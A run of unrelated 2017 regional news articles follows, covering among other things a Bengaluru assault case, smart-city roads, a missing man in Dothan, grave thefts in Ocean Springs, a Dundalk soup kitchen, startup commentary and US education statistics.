The arrested suspects are Harish (23), a driver, and Mahesh (24), a fashion designer. Both are residents of Sanjaynagar.

"The attack was not racial as the local men didn't know where the victims hailed from. The victims didn't understand what the suspects were telling them in Kannada. We have arrested two men and identified two more," said Chethan Rathor Singh, Deputy Commissioner of Police (North).

Lisan told DH: "We have withdrawn our complaint as we do not want to get into legal hassles as we are students. Our parents are unnecessarily worried. It was not a racial attack, but a quarrel due to miscommunication."

Home Minister Ramalinga Reddy said the incident seemed to have started as the brothers had parked in the middle of the road. "I have asked the DCP concerned to look into the matter and take it to the logical conclusion," he told this newspaper.



Box

Very disturbed: Mehbooba Mufti

Jammu and Kashmir Chief Minister Mehbooba Mufti on Tuesday demanded strict action against those who allegedly assaulted the two Kashmiri brothers in Bengaluru for not speaking Kannada. "Very disturbed by the news of 2 brothers from Kashmir being assaulted in Bengaluru. I would urge the authorities to take strict action against the accused," she tweeted.
Hundreds of employees of the Bangalore Water Supply and Sewerage Board (BWSSB) have opposed the board's decision to get them contribute towards the health scheme when they are still in service.



At least 250 employees have written to the BWSSB chairman, asking him to drop the affidavit that they must fill to declare their interest in the health scheme.

As per the regulations of the health scheme that will come into force in January 2018, retired employees have to contribute a one-time sum depending on their cadre. Rs 100 will be deducted from their pension towards the scheme.

Jagadish K H, chief accounts officer, BWSSB, said the employees were opposing the contribution clause since the money would be taken from their salary. "We just wanted to increase the amount of contribution to make the health scheme more effective. We still need to discuss the matter," he added.

The BWSSB has collected over Rs 2.48 crore as employees' contribution and added Rs 60 lakh to the corpus fund.
The government will fast-track the development of tech-enabled roads in the central business district, besides sprucing up the city's historical markets under the Bengaluru Smart Cities Mission.



It would lay at least seven km 'Smart SURE' roads, a term the Bruhat Bengaluru Mahanagara Palike uses for streets with the Internet of Things-enabled solutions for citizens. These roads will be a part of the 51.6-km of TenderSURE roads in the heart of the city.

KR Market, Russell Market and the Malleswaram market will also see significant upgrades as part of the project. "We already have detailed project reports (DPRs) ready for these projects," said Additional Chief Secretary (Urban Development) Mahendra Jain.

Jain also chairs the Bengaluru Smart City special purpose vehicle (SPV), which is to meet for the first time later this month to discuss implementing the projects.

"A Smart SURE road is essentially a TenderSURE road with smart technology components," Jain explained.

According to the BBMP's proposal, these roads will have 50 smart card-enabled public bicycle sharing points, 30 e-rickshaw stands, 35 e-toilets, water ATMs, 420 sensor-based smart dustbins and 50 designated vending kiosks - all of which will be linked to 1,250 smart telecom towers doubling up as street light poles.

These roads will also have Wi-Fi connectivity. According to an official, smart telecom towers will control IoT-based solutions such as smart parking and smart dustbins.

KR Market will have loading-unloading bays for efficient vehicle movement, smart dustbins, a five-tonne capacity biomethane plant, 900 smart vendor kiosks, and an app-enabled multi-level car park, among others.

The Malleswaram market precinct is slated to get a parking facility for 375 cars, a water treatment plant, CCTV surveillance and energy-efficient lighting.

Besides a beef market, the Russell market will have improved TenderSURE roads and a pedestrian bridge, linking it to the Shivajinagar bus stand.

These projects are part of a Rs 2,090-crore effort to smarten Bengaluru, which was shortlisted under Prime Minister Narendra Modi's pet Smart Cities Mission in its third attempt.

Authorities expect Rs 500 crore each from the Centre and state government, besides pooling in funds through public-private partnership and contributions from the Bangalore Metro Rail Corporation, Bangalore Metropolitan Transport Corporation and other agencies.
Three Billboards Outside Ebbing Missouri And Call Me by Your Name To Be Honoured At Capri Film Festival
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Irish Water would like to advise consumers supplied by Lough Colm and Lough Fad in that the water conservation notice that was issued in May has been lifted.

Records showed that April 2017 was the driest April experienced for 67 years leading to the conservation notice being put in place.

The lakes are approaching a sustainable level as a result of measures taken to manage the water flows, however they havent recovered fully and customers are asked to continue to be mindful of their consumption practices.

Although the request to conserve has been lifted following drought management measures that were taken by Irish Water and Donegal County Council over the past few months, customers are still urged to report any leaks they see by calling the Irish Water Customer Care helpline which is open 24/7 on 1850 278 278.

Irish Water and Donegal County Council would like to apologise for any inconvenience caused and would like to thank the public for their ongoing co-operation.
Saturday was a day in Enterprise for remembering and identifying deceased military members.

Ceremonies for Wreaths Across America  in which wreaths are placed in honor of veterans  were held at the City Cemetery and Meadowlawn Memorial Park, with local and state leaders in attendance at each.

At Meadowlawn, the Enterprise JROTC Color Guard was a major part of the presentation, with local Brownies and Boys and Girls Scouts joining cadets in formation for the Pledge of Allegiance.

Participants placed remembrance wreaths on graves on veterans.

At the City Cemetery, Rep. Barry Moore of Enterprise  the chair of the state Houses Military and Veterans Affairs Committee  spoke about the significance of the event, and Mayor Bill Cooper presented a proclamation from the city.

The American Legion Family of Veteran Service Organizations, Military Order of the Purple Heart and Company E, 15th Alabama assisted with the ceremony, and the Patriot Guard Riders provided flags.

The Girls Scout Service Unit 923 presented ceremonial wreaths to the military branch and POW/MIA representatives. The Junior Civitans marked the graves and were ushers.

Eddie Phillips was the master of ceremonies.

Those who want to honor a relative buried in the area and want the relatives name on a list for future events, or to volunteer to help with wreaths, email to travis@travparker.com or call 334-494-7846.

For more information, go to WiregrassWreathsAcrossAmerica.org.
No phone calls and no written correspondence since 2013 have one local family making a verbal plea for their missing son to come home.

For the past four years, Wes Chapman and his wife, Jamie, have done everything they could think of to get the word out about their missing son, Ryles. On Dec. 18, 2013, Ryles left his parents pool house where he was residing, never to be heard from again.

The day Ryles left, well it was something no one was expecting, Chapman said. In the past Ryles had participated in rehab programs due to an addiction to prescription medications, medications that were prescribed by his doctor. We hoped by Ryles living in our pool house, maybe things would be better for Ryles.

Everyone was hoping Ryles was doing better and with no confrontation between Ryles and his family, it seemed things were looking up, Chapman said.

The day Ryles disappeared I pulled up at our home and I saw another vehicle pulled behind Ryles vehicle, Chapman said. I thought to myself this must be one of his old buddies, and I got worried. I rushed to the pool house and I couldnt get in. I ran to get a key and tried to enter, but Ryles had the door blocked by pulling out a cabinet drawer. I could see him and I tried to talk to him, but the last time I seen Ryles he was running from our home wearing his boxer shorts. He left everything inside the pool house. He even left his wallet which was filled with money. He had quit his job that morning and cashed his check. He took nothing.

A short time later, Ryles was seen by a family friend at the entrance to the Bocage subdivision where the Chapman family lived.

I know Ryles was meeting someone there for a ride, Chapman said. I know that without a doubt. Over time, we hoped Ryles would come home. But it has been four years, and we have heard nothing. He has two beautiful children who miss their dad. I have a gut feeling our son is out there, just not wanting to make contact. I strongly feel if something had happened to Ryles, someone would have found something by now, and believe me, we have received some of the most gruesome tips anyone could receive, but they all led back to having nothing. Our son is out there. We just need him to know he can come home.

According to Dothan Police Sgt. Jason Adkins, the leads and tips have run out over the years.

The last bit of information we received about Ryles, we received about a year ago, Adkins said. That information was information we had previously received and it was a dead end.

Adkins stated if any new information is made available to law enforcement an investigator will proceed to investigate.

All missing person cases remain open until appropriate information is provided and confirmed in order for the status to be changed, Adkins said.

Over the years, the Chapman family has looked into leads and tips themselves trying to locate Ryles. Billboards informing the public have been placed from Dothan to Panama City Beach, Florida.

I know Ryles was OK the spring break following him leaving our home, Chapman said. He was seen at Club Lavela in Panama City by a fellow classmate from Northview High School. I also have proof where his old phone was used up north. Like I said, I know my son is alive, and that is why I am making this plea to my son: Ryles, come home. If you dont want to come home at least give us a call. Just let us know you are OK. We are worried, and have been since the day you left. If the only way you feel comfortable contacting us is by mail, all I ask is that you get a copy of this article, and mail it to us. You dont have to put a return address on it. Just mail it to us.

Along with praying for contact with Ryles, the Chapman family is staying busy spending as much time with his children as possible.

Yes, his mother and I miss him, Chapman said. But his children miss him, too. They want their daddy. We all have tried to spend as much time as possible with his children. But no one can take Ryles' place. He is missing so time with his children and it's time he cant get back. We just want him to know, no matter where he is, we just want him to know we love him.

Although Chapman strongly believes his son is alive, he does make one request to those who may know something different.

If you know our son is not alive, contact us or the Dothan Police Department, Chapman said. If you have proof, and I mean proof that my son is dead, let us know. We need to know this. We are at the point where we dont know what to tell his children.

Currently the family relies heavily on social media to continue to spread the word about their missing son.

The family has a Facebook page Find Ryles Chapman," and a website, www.findryles.com that provides contact information, a timeline of events and photographs of Ryles.
OCEAN SPRINGS, Mississippi -- For eight months, Angel and Josh Myers of Ocean Springs watched as their only child, 7-year-old Sophia, battled a rare and incurable form of brain cancer.

Called Diffuse Intrinsic Pontine Glioma, or DIPG, the disease would ultimately claim Sophia's life at 12:01 a.m. on Oct. 20 -- just one minute after her father's Oct. 19 birthday ended.

"She fought and struggled for 15 hours and made sure she didn't die on Josh's birthday. She is the most amazing child and I am lost without her," Angel Myers wrote early that morning.

Now, however, a person or persons unknown are compounding the Myers' grief by stealing from their daughter's gravesite.

"Please stop stealing from my dead child," Angel Myers pleaded in a recent Facebook post. "I have been gracious. I have been forgiving. But now, now I am furious. One of her Angels and a cross have been stolen. Things that I brought to Sophia. Things that were treasures to me in my grief. Things that were gifts from me to my child. Things that were given to me that have meaning.

"Why????? Why would someone do this?????

Why, indeed.

Ocean Springs Police Chief Mark Dunston is equally baffled. Although no police report has been filed, Dunston said he became aware of the thefts through social media and has spoken to the Myers.

Dunston said there have been occasions in the past were metal flower holders have been stolen by thieves apparently believing they may have value as scrap metal.

"But as far as stealing from Sophia's grave -- I don't know what compels a person to do that," Dunston said.

The first instance of items being stolen from Sophia's gravesite in Evergreen Cemetery in Ocean Springs -- at least the first made public -- was when someone stole poinsettias from in front of her mausoleum.

Items left by the family and by friends have continued to go missing, including two LED powered Christmas trees and laterns left by Vicki Spiers -- an employee of the Jackson County Sheriff's Department and a close friend of Angel Myers, who is an Assistant District Attorney for Jackson County.

Spiers also took to Facebook to express her anger.

"I'm angry, hurt, devastated, pissed -- whatever emotion a person can feel, I'm feeling them," Spiers wrote. "I'm more angry over the fact that my sweet girl, Angel, is once again tortured by someone taking away from her child.

"WHY?! I want this shared far and wide in the hopes that the person who took them sees this and brings them back, no questions asked, you have my word, just please bring them back!"

Spiers went to far as to offer to buy the thief or thieves their own laterns if they could not afford them.

Angel Myers told The Mississippi Press she was too upset to talk publicly about the thefts, but echoed a similar sentiment to Spiers' on Facebook.

"I don't understand," she wrote. "I don't. I am beyond upset. Please, if you took these or if you realize your child took them -- please return them. No questions asked."

Several Facebook users replied to Angel Myers' post by suggesting the use of surveillance cameras.

"I can't put a security camera out to monitor my baby's grave," Angel Myers wrote. "Why should I have to??? What the hell is wrong with the world?

Short of cameras, Dunston said it's difficult to track these type of thefts.

"I wonder if the notoriety and publicity might cause them to stop," he said.

Throughout Sophia's battle with DIPG, Angel Myers used her Facebook page to share updates and often her innermost thoughts and feelings as she and Josh watched Sophia slowly slip away.

"I have shared and bared my soul," she wrote last week. "I did it to make sure no one blamed God. I did it as therapy. I did it to spread awareness for DIPG. Please do not take advantage or exploit our openness with you. Please help me and Josh by respecting the last only place of our daughter's. This is the home for her body.

"Let her Rest In Peace."
As most of us rush around laden with shopping bags full of gifts over the Christmas season, it's important to spare a thought for the people who are struggling to make ends meet.

Throughout 2017, the homelessness crisis in Ireland seemed to worsen. Irish media was filled with stories of people who couldn't keep up with rising rents and were forced to sleep rough or go into direct provision.

Speaking to Rose Bailey, who runs St. Patrick Church's Soup Kitchen and food parcel service, it's evident that the crisis has also hit Dundalk.

Record Number of Food Parcels

Rose told the Dundalk Democrat: When we started giving out the food parcels two years ago, the first week we had 20 people coming to us. Now we have at least 145 people coming to collect parcels at a time.

Indeed after our chat Rose rang me to tell me that the collection on the morning of Friday, November 15 was their largest food parcel collection to date.

This morning broke all records. We gave out 251 food parcels, revealed Rose.

And St Patrick's volunteer team are hopeful they can smash that record for their Christmas food parcels onFriday, December 22nd.

Rose said: We're aiming for 175 hampers Christmas week.

Whilst St Patrick's Parish has been running the soup kitchen for twenty years, parish volunteers noticed a gap in services and began handing out weekly food parcels to cater for 'families under 18' and 'elderly people who didn't want to come to the soup kitchen' from 2015.

Many live in Poverty Behind Closed Doors

Working on the frontline of the charitable service has allowed Rose to observe the rise of poverty amongst families and individuals living in the Dundalk area.

We see a mix of everything in terms of people coming to collect our food parcels.

We see everyone from young families, mothers coming to us after dropping the kids off at school and the elderly. We even see people coming to us who used to volunteer. Plenty of people are coming because they've had a change in circumstances. Many have lost their jobs.

Rose also noted that there are also many people in the Dundalk area who are facing hardship behind closed doors.

She said: There are people in homes who are worse off than the homeless. Just because they have a home, doesn't mean they aren't struggling.

It really opens your eyes to what's going on on your own doorstep. When you realise you have a choice of what you want to eat every day, it makes you aware of how well off you are.

Grateful for the Help

Rose has also told how some people are so grateful to get the help, they are keen to give something back.

We had a woman coming to collect a food parcel recently and I asked her if it was okay and if she would use the food that was in it and she replied 'whatever is in it, we'll use it, Ms. Bailey said.

There was another woman who gave me a Euro towards a food parcel. She was so grateful to get it she was trying to give something back to us. It could have been the only Euro she had for the week.

Packing the Parcels for Christmas

In the run-up to their busiest time of the year, St. Patricks Church kindly found some time to show the Dundalk Democrat around the parochial house. We could hardly make it in the door of the donations room - food items were piled high to the ceiling.

Shelves were heaving with boxes of breakfast cereals, rows of tinned goods, crackers, pasta, and even a few selection boxes.

Rose and her daughter Katie, who works as a social worker with St. John of God's, and a further eight volunteers were preparing to roll their sleeves up for an evening of packing like the elves to ensure local families don't go without this Christmas.

However, despite the large quantity of donated goods, the volunteers say there's never quite enough to keep up with the demand.

And whilst the soup kitchen volunteers were delighted with the donations they received for Christmas, Rose said they were keen for people to send in the badly-needed donations all year round.

People have been very good with donations this year. We actually don't have enough space to store it all. But we would ask people to keep going and send in donations all year, not just at Christmas, Rose said.

How to Donate & Volunteer

Non-perishable foods that they can keep using are the most needed, but volunteers stressed: We'll take anything. The group is not actively seeking clothing donations, but Rose says practical items like sleeping bags (in good condition) and cash donations are on their list.

With such a demand for their services, volunteers are always welcome. Rose tells us interested parties would be best offering their services throughout the year as the staff are inundated with volunteers for Christmas Day. All volunteers are vetted by the local Gardai.

We don't take people for Christmas Day, as we get a lot of interest in volunteering for this time of year. We're more interested in long-term volunteers. Just call into the parish office to register your interest, Rose explained.

When asked if she had a message for people who might need to avail of their services over Christmas or any other time of the year Rose said: We'd like to tell people if you know anyone in need, let them know we don't ask questions about their circumstances.

Our door is always open. You just come and collect your food parcel. It takes a few minutes to come upstairs, and get your parcel. We're all friendly here, so there's a bit of chat with people we've gotten to know.

I want to thank all of our volunteers and anyone who donated in any way, throughout the year.

Christmas Day Dinners and Food Parcels

St. Patricks Parish Soup Kitchen will be giving out hot dinners on Christmas Day. f you would like to avail of the service, you can place your name on the list in the parochial house.

The soup kitchen operates Monday, Tuesday, Wednesday, Thursday, Friday and Saturday evening at 7pm , and Sundays from 4pm to 5pm in the building to the left just outside St Patricks Church. Food parcels are given out on a Friday morning from 10.30am to 11.30am at the side of the Church.

Visit www.facebook.com/StPatricksParishSoupKitcheFoodParcels/ for more information or contact Rose Bailey on 086 3718 194.
Pupils from Bellurgan National School have made a donation to St Patricks Soup Kitchen, Dundalk for Christmas.

Principal, Dermot McCoy said: "Following an appeal earlier in the year from St Patricks Soup Kitchen in Dundalk, our Pupils and staff felt that it would be a wonderful idea to donate food to this fantastic local charity at Christmas."

Praising the efforts of the dedicated volunteers at the soup kitchen, Principal Dermot McCoy said: "The Soup Kitchen has become an invaluable support to those who are in need and provides a warm, safe space and a tasty meal for those in the community who need it.

READ MORE: St. Patrick's Soup Kitchen hands out a record 251 food parcels

"Open on Monday, Wednesday, Friday and Saturday evenings the soup kitchen provides both food and shelter, but sometimes it is the emotional support which is valued most."

"The dedicated volunteers not only cook and serve food but they also lend a listening ear when people need it."

"I would like to thank our parents and friends of our school for the huge food hamper that was presented by each class," said Mr. McCoy.
The heated Sydney-Melbourne rivalry has played out over many years, with both cities laying claim to having the nations best coffee, culture, standards of living well, the best of just about everything. But how do Australias two largest cities  and, more broadly, NSW and Victoria  stack up against one another in terms of conditions conducive to growing an early-stage company? Thats the very question we put to a dozen thought leaders, this week, for our final Lets Talk feature of 2017.

Some commentators expressed a clear preference for one city or state (e.g. Victoriahas been the gift that keeps on giving). Meanwhile, a few played devils advocate, claiming that in some instances, you wouldnt choose either or that startup founders in regional NSW and Victoria lack the support afforded their peers in Sydney and Melbourne.

Most, however, were of the view that compelling opportunities exist for startups in NSW AND Victoria, with one claiming that founders should have some form of on-the-ground presence in both. As many pointed out, the answer will vary between startups, depending on a range of factors including access to relevant customers, talent and capital as well as the industry they operate in (e.g. if someone wanted to set up a Fintech company, I would strongly recommend Sydney over Melbourne).

Read on for further insights form this weeks Lets Talk line-up of commentators

NSW or Victoriawheres best for growing a startup?

Dr Kate Cornick, CEO, LaunchVic: Victoria of course! Victoria is the only state in the country with a dedicated startup ecosystem development agency, LaunchVic, that invests in programs and events to support the growth of the startup ecosystem.

Last financial year, we supported 28 projects across three funding rounds helping 48 individual startup businesses and more than 450 individual entrepreneurs and founders who participated in accelerators, incubators, hacks and workshops funded by LaunchVic.

We also have one of the strongest and most established grassroots communities, supported by a range of organisations including Startup Victoria, who provide a terrific program of events for people at the start of their startup journey.

In terms of infrastructure to support startups, there are currently 26 startup accelerators either operating or soon to be in Victoria. We also have approximately 190 meetup groups specifically focused on startups and entrepreneurship, and a further 460 focused more broadly on tech.

And our liveability cannot be ignored. For the seventh year running, Melbourne topped the Economist Intelligence Units (EIU) Liveability Index for the worlds most liveable city.

Whats there not to love about growing a startup in Victoria?!

Michael Muehlheim, Senior Wealth Advisor, Macquarie Bank & Board Member, Heads Over Heels: Ultimately if a business is going to scale  and given Sydney and Melbourne are Australias biggest markets  any early stage founder and team will be travelling quite a bit between the two cities and will require some form of on-the-ground presence in both.

Personally, I believe both states provide strong ecosystems for founders and talent, angel and venture capital investment and consumers and companies to try and build distribution into. The spread of Fintech, artificial intelligence, e-commerce and enterprise start-ups seem to be spread nicely between both NSW and Victoria. Having said this, perhaps in some instances you wouldnt choose either state; with a new space agency being based there and emergence of a lot of spacetech already, if you were a space start-up you would go to South Australia!

Grace Lin, CFO, ReTech Technology: Both states are equally compelling opportunities for a startup, perhaps with some variation between industries. When it comes to cybersecurity, I think Victoria has the edge. With Fintech, its NSW.

Were in an interesting spot as a company with Chinese origins that operates in the education space. We already have much of the technological expertise, what we need are education providers to work with. Already, we have a memorandum of understanding with Queensland TAFE.

As a listed company, we dont want to pre-empt our discussions with stakeholders in either state but its fair to say one state has shown itself to be more open to our education solution.

I guess our advice to startups would be select the state thats more culturally open-minded about your solution and the disruption your technology brings. Then make as many connections as you can in that space.

Joel Robbie, Co-founder & CEO, Nod: Both New South Wales and Victoria have really strong draws, both are very liveable cities with good access to capital but I think the lure of the beaches and weather Sydney offers seem to be pretty key to luring great talent, so Ill say NSW is better for growing a startup. Theres also a really strong financial services culture in Sydney, which suits our financial advice startup really well.

Richard Dale, Founding Committee Member, Sydney Angels: If your startup is a marketplace platform or SaaS business, you can probably build it anywhere there are software developers and broadband.

However, if it involves medical devices, biotech, hardware, or physical sales channels, then youll need a major city with research universities, scientists, engineers, specialised equipment, labs, prototyping facilities, hospitals, industry partners, and trial customers. Grossly simplifying, Melbourne is strong in biotech and hardware, Sydney in medical devices and software, and Perth in mining and oil & gas technologies.

Innovation support programs also vary between state governments. This could mean one state offers more for a medical device startup, while anothers focus might be engineering. A SaaS business can also kick off with under $100K and 6 months to launch, while commercialising a medical device could require millions and several years. The latter often requires tax incentives or support that often differs significantly from state to state.

Sarah Moran, Co-founder & CEO, Girl Geek Academy: Theres a risk of thinking purely in terms of Melbourne versus Sydney, when regional Victoria and NSW also need to be part of the conversation. Both Sydney and Melbourne have great co-working spaces, government grants, access to faster internet (although, it could be better), and mentors on the ground. But there is both a lack of support and lack of education and mentoring available to aspiring startups who are not based in a major capital city.

I recently connected two aspiring entrepreneurs in regional Victoria who were working on drone startups  they were from the same regional town, but neither knew each other because theyd been told to network in the city! If there was more support in these regional areas with better networks and facilities established, they wouldnt need to turn to the metros for mandatory support and connections.

Im often meet with wary teachers in regional areas who struggle to see the upside of startups and technology the economic growth and job/career opportunities. They just see tech as something that has taken jobs away. Unfortunately, that attitude filters down to kids in the classroom  were doing a pretty terrible job of selling the benefits to the whole state. The regional areas of both states are being left behind and I strongly feel we need to do what we can to support them.

Anthony Sochan, Partner, Think and Grow: Both states have their benefits, but the questions we ask are where is the talent I need to hire accessible? Where are my customers? Where are my investors and advisors? On the talent side, San Francisco is reputed to have some of the best talent globally for fast-growth tech but unfortunately much of that talent is inaccessible due to the high level of competition. But regardless of what business you are building we believe you should be as close to all three as possible.

Rony Chiha, Founder & Managing Director, AdCreators: NSW has a larger startup community, a greater investor network and  if you want to take a startup global  international investors are more familiar with Sydney than they are with Melbourne. The Victorian government are more clued up when it comes to start-ups but thats only if you require a grant from the government. I would still say NSW is best for growing a start-up because there is a more diverse economy, a stable business environment and a larger talent pool.

Greg Taylor, Group VP (APAC), New Relic: Both Victoria and NSW are great cities to build and grow a startup. However, selecting a city to start a business should not be based on location alone. There are a number of things that founders and entrepreneurs should consider before choosing where they want to be based.

Founders need to have an in-depth understanding of the industry that they are operating in and have a clear go-to-market strategy thats based on where the customer base and partners are located. By understanding where the industry is stronger, and where they will have easier access to talent or R&D resources, startups will have a better chance of selecting the right location that will help their business thrive and grow.

For example, if someone wanted to set up a Fintech company, I would strongly recommend Sydney over Melbourne due to the regions strength in the sector. Sydney is where you would have easier access to human capital to build a company as well as to build a funding model, which typically comes from people who closely understand the industry.

Tom Amos, CEO & Co-Founder, Sidekicker: Victoria  as a state to launch a startup  has been the gift that keeps on giving. Having the opportunity to work at Inspire 9 for several years gave Sidekicker the opportunity to work amongst some of Australias fastest growing startups.

Being able to be surrounded by the likes of Culture Amp, REA, CarSales, SEEK, MYOB, 99 Designs, Envato, Rome to Rio (the list goes on) has been integral to our learning and growth.

The cost of living in Melbourne has made it affordable to live while working the startup grind and accessible public transport has been a lucrative asset to establishing our two-sided marketplace. For our Sidekicks, travelling to-and-from jobs across the city in other states just isnt easy as it is in Melbourne; however in saying that, Melbourne isnt where the majority of our growth is coming from.

Our startup community been lucky to have the support of the Victorian government, particularly Phillip Diladakis, along the way and weve been lucky to have Melbourne born and bred SEEK come on as a major investor of Sidekicker in 2016.

Sidekicker for the past 18 months has been scaling on-the-ground operations in major cities across Australia and New Zealand, and each state definitely has its benefits. For us, Melbourne has been fantastic as a place to set up HQ and theres a reason why companies such as Slack are choosing Melbourne as their Australian launching pad.

At end of day you, need to work out where the best place is for you to learn from others and have front-row access to your customers  which is the only thing that matters.

Patricia Kelly, Director General, IP Australia: When determining whether to launch an IP-driven startup in NSW or Victoria, its useful to look at some relevant state-based trends. Comparing startups from NSW and Victoria, we found that

Across both states, startup activities in trademarks and patent has grown over the past three years  patents filing grew 34% while trademarks grew 21%.

NSW generally has slightly more startup activities than Victoria (by ~5%) in patents; however, there is no significant difference from a trade mark perspective, accounting for the a slightly larger population in NSW.

Comparing Victoria and NSW, there are significant differences in terms of where start-ups file IP rights comparing NSW to VIC. These differences are significant for both patents and trademarks.

Additionally, we saw  with regards to patents  that NSW dominates in textile and paper machine, thermal processes audio-visual and medical technology sectors, while Victoria dominates in pharmaceutical, telecommunications, food chemistry and machine tools. This information illustrates Victoria and NSW both perform strongly when it comes to the establishment of startups, however each state is stronger in certain categories.

David Jones, Business Growth & Innovation General Manager, WREDA (NZ): Is New South Wales or Victoria better for startups  I couldnt say. It would be better for the two states to focus on connection rather than competition. Best of all would be a networked approach across the Tasman, with startup-focused regions like Wellington.

Separating one startup ecosystem from another suits those of us who have to highlight local benefits to secure public investment. But it ignores the reality of the sector.

Yes, distinct local quality of life factors enhance entrepreneurial talent attraction, while infrastructure like co-working spaces and acceleration programmes do provide a framework for growth. But an overly competitive approach to these factors is inefficient and closed-minded.

Governments who truly want to support success recognise that startups are agile and organic. Ultimately thriving when given access to opportunities for collaboration.

Investing in an acceleration programme thats designed to compete with a near-identical one that the neighbours have reveals a zero-sum game mindset, where a competitors loss equals a gain. Thats just not how an innovative, fertile startup ecosystem operates.

Building networks across borders allows regions to leverage each others investments and specialities, improving the overall health of the ecosystem.

In Wellington, weve made valuable connections between our incubator CreativeHQ and Canberras CBRIN, sharing expertise between startup communities. CreativeHQs 2018 Lightning Lab FinTech Accelerator is supported locally, but is actively looking for collaboration with teams from Australia and beyond.

Cultivating a world-leading startup ecosystem across Australasia requires us to open doors for our startups, not build walls around them.

About Lets Talk

Lets Talk is an exciting weekly initiative that provides entrepreneurs and industry experts with a forum to share rapid-fire views on a range of issues that matter to start-ups and SMEs. Every Wednesday, we pose a themed question to a line-up of knowledgable industry figures, with a view to picking their brains for valuable insights to share with you, our readers.
OCEAN SPRINGS, Mississippi -- As he has done for each of the 18 years he has been in office, State Rep. Hank Zuber will host his annual town hall meeting for constituents.

Zuber, who represents District 113, said the town hall meetings have always proven beneficial. He noted that a promise to hold annual town hall meetings was a campaign promise he made on his very first campaign push card 18 years ago.

"The purpose is two-fold," he said. "Number one, to bring my constituents up to speed on what's happening in Jackson, what are some of the issues I'm working on, and secondly, to get ideas and input from my constituents."

Zuber noted that more than once issues raised by constituents have led to legislation being drafted and passed, including the new campaign finance reform law which he authored and which goes into effect Jan. 1. The law prohibits politicians from pocketing campaign funds or using them on personal expenses.

"Campaign finance reform started with a town hall meeting," Zuber recalled. "A man stood up and said 'I want you to restore confidence in the political system.' I said 'Yes, sir, but how do I do that?' He said 'You can stop politicians from being able to spend money on personal expenses or stockpiling it so they have a golden parachute when they leave office.'

"I told him I would look into it and the rest is history. That's just one example. The town hall meetings have been very productive, both ways -- me informing the public and the public giving me ideas about what needs to happen and solutions to everyday problems."

Zuber said he intends to discuss the implementation of the new campaign finance law, as well as his push to restrict the passage of general legislation to every other year.

As for what he expects to hear from constituents, Zuber said the state budget is always a hot topic.

"That's a good guess," he said. "The budget always comes up. Infrastructure, education, and public safety has been a big issue lately. But the budget has always been a concern to a lot of citizens."

The town hall is set for Dec. 28 at 5:30 inside the community room at Charter Bank in Ocean Springs, located at the corner of U.S. 90 and Hanley Road. Those interested in attending are encouraged to arrive early, as seating is limited.
Louisiana has changed the rules governing dual-enrollment college credit for high schoolers in response to concerns about the academic preparation of the students who take those classes.

Dual-enrollment courses allow high school students to earn college credit before graduating. Some of these courses are taught on college campuses. When taught in high schools, these courses are supposed to offer the equivalent of college-level coursework. That would justify earning college credit for taking them. But Higher Education Commissioner Joseph Rallo and others have questioned whether these high school courses are on par with university-level courses, reports the Advocate .

Critics of stricter dual-enrollment rules cite the benefits of these courses. Students who participate tend to earn better grades in their high school classes, and they are more likely to enroll in college and earn a degree. But Commissioner Rallo points out that 63 percent of Louisiana students who enter two-year colleges are found to need remediation, a problem that needs to be addressed before students are awarded college credits.

One of the changes made by the legislature last week aims to ensure that students are getting the help they need. Those in need of remediation, based on their ACT English or math scores, must show that they are working to improve in areas where the test deems them deficient. Those scoring less than a 19 out of a possible 36 in ACT math can enroll in dual-enrollment English, foreign language, history or introductory social science, humanities or arts survey courses only if, at the same time, they show they are getting extra help to bring up their math scores.

The same goes for students who score less than an 18 in ACT English. They can enroll in dual-enrollment math courses only if they prove they are also working to improve their reading and writing skills.

Yet another change to the dual-enrollment rules affects instructors. Going forward, dual-enrollment instructors who are not professors must get training from the partner college in how to teach the course and evaluate student work.

The changes come at a time when dual-enrollment courses are in high demand. Students can earn more than 30 college credits in Louisiana before graduating from high school, and that saves them a lot of time and money. Dual-enrollment participation has doubled in the state over the past seven years, from 9,651 public school students taking courses in 2009, to 20,036 taking courses last year, according to the Advocate .

Concerns about the quality and rigor of dual-enrollment courses have not been limited to Louisiana. A 2015 ruling by the Higher Learning Commission , a Chicago-based group that accredits colleges and universities across the West and Midwest, requires teachers of high school dual-enrollment courses to hold a masters degree. The ruling triggered concerns that the program would be decimated in areas where few teachers hold advanced degrees.

Another concern about dual-enrollment programs is wholl pay for them. Catherine Gewertz breaks down the problem in this blog post . In Louisiana, the state pays the tuition for public school students . And now there will be even more money dedicated to dual enrollment since the legislature, with the backing of Gov. John Bel Edwards, has increased spending on the program by $10 million per year, pushing total spending to $17.5 million.

Related stories:
Finalists for the 2018 national superintendent of the year award were announced today by AASA, the School Superintendents Association.

The finalist are Wendy Robinson of the Fort Wayne, Ind., schools; David Schuler, of Township High School District 214 in Arlington Heights, Ill.; Mary Sieu of the ABC Unified schools in Cerrito, Calif., and Mike Winstead of the Maryville, Tenn., school district.

Robinson has led the Fort Wayne schools since 2003. Education Week selected and profile Robinson as part of its 2016 Leaders To Learn From class.

Schuler has led the suburban Chicago district since 2005 and is a former AASA president. In that role, he and Daniel Domenech, the executive director of AASA, launched a national campaign to redefine college and career readiness.

Sieu took the helm as the superintendent in her southern California district in 2012, after serving as the districts deputy superintendent. She has worked in the district since 1989.

Winstead has led his eastern Tennessee school system since the start of 2014.

The finalists were selected as winners in their individual states contests for superintendent of the year. The national winner will be announced at AASAs annual conference in February in Nashville, Tenn.
The graduation rate for the nations English-language learners in the class of 2016 rose to 66.9 percent, a 4 percentage point increase over the past two years, according to data released this month by the U.S. Department of Education.

The data for four-year graduation rates, which includes some students who were once classified as English-learners, stood at 62.6 percent two years ago.

But those graduation rates vary widely from state to state. In California, the state with the largest K-12 ELL enrollment, 72 percent of English-learners graduated high school in four years. That marks a nearly 11 percent increase over the past two years.

In Texas, which has the nations second-largest K-12 ELL enrollment, about 74 percent of ELL high school students graduated on time.

Florida, the state with the third-largest population, also saw an uptick in its graduation rate, rising to 62 percent. Just two years ago, the graduation rate was 55.8 percent. Thats an 11 percent increase.

Some states produced even better results, albeit with smaller ELL populations. West Virginia, where less than 2 percent of students are English-learners, had the largest percentage of ELLs graduate on time with 93 percent. Arkansas and Iowa, two states with relatively small populations, also had graduation rates that topped 80 percent.

But in Arizona, which has the 11th highest ELL enrollment in the nation, less than a third of students, roughly 32 percent, graduated within four years.

Besides Arizona, there were five other states Louisiana, Maryland, Nevada, New York, and Virginia that had fewer than 50 percent of their ELLs graduate within four years. New York has the nations third-largest K-12 ELL population.

